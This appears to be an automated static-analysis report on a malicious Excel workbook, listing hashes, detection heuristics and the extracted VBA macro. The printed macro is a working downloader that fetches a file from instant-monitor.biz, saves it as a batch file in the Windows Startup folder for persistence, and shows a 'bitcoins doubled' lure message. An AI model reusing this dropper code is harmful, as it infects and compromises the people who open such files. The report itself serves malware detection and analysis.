Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 011e8437e1343c3f…

MALICIOUS

Office (OOXML)

19.1 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-01-23
MD5: b84b3d6b42ed3045071a0d031ed3f47d SHA-1: 9149859391e41fb13fe76ddc4e0069e23ab8d955 SHA-256: 011e8437e1343c3f8b1ddcba8fcf74c0c2bfa964e27436625e4933b4ebae4887
162 Risk Score

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        ADOStream.Write XMLHTTP.responseBody 'Записываем в виде массива байтов. Используется при закачке бинарного файла
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    FileName = CreateObject("Scripting.FileSystemObject").GetFileName(URL)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://instant-monitor.biz/1.txt Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2610 bytes
SHA-256: 15b3983f4b48d84eeb17c57486f1ccd6a4057ebaf0f75cc31a5108b26b89e02f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Private Sub Workbook_BeforeClose(Cancel As Boolean)
'Shell "C:\ProgramData\1.bat", vbHide
'End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub ФайлПоСсылкеИзИнтернета()
Dim XMLHTTP As Object
Dim ADOStream As Object
Dim FolderSave$, URL$, FileName$

'Папка для сохранения файла
FolderSave = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
'Ссылка на файл в инете
URL = "https://instant-monitor.biz/1.txt"
'Получаем имя файла с расширение
FileName = CreateObject("Scripting.FileSystemObject").GetFileName(URL)

Set XMLHTTP = CreateObject("Microsoft.XMLHTTP") 'MSXML2.XMLHTTP
XMLHTTP.Open "GET", URL, "False"
XMLHTTP.send
If XMLHTTP.Status = 200 Then
    Set ADOStream = CreateObject("ADODB.Stream")
    ADOStream.Type = 1 'указываем тип данных, содержащихся в потоке. Бинарный.
    ADOStream.Open 'Открывает поток для работы потоков двоичных или текстовых данных
    ADOStream.Write XMLHTTP.responseBody 'Записываем в виде массива байтов. Используется при закачке бинарного файла
    ADOStream.SaveToFile FolderSave & "1.bat", 2 'Сохраняем файл в указанную папку
                                                                '1 не перезаписывать файл
                                                                '2 перезаписать файл
                                                
    ADOStream.Close 'Закрывает открытый объект и все зависимые объекты
    Set ADOStream = Nothing
    MsgBox "Биткойны удвоены!", vbInformation, "Ок"
Else
    MsgBox "Не удаётся удвоить биткойны", vbExclamation, "Опаньки"
End If
Set XMLHTTP = Nothing
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 18432 bytes
SHA-256: 9f1169c2dd1ca76954dfc973d2fb39dd70012bf039c357d916d433e12de55dd5

Open this report in the interactive analyzer, or submit your own file for analysis.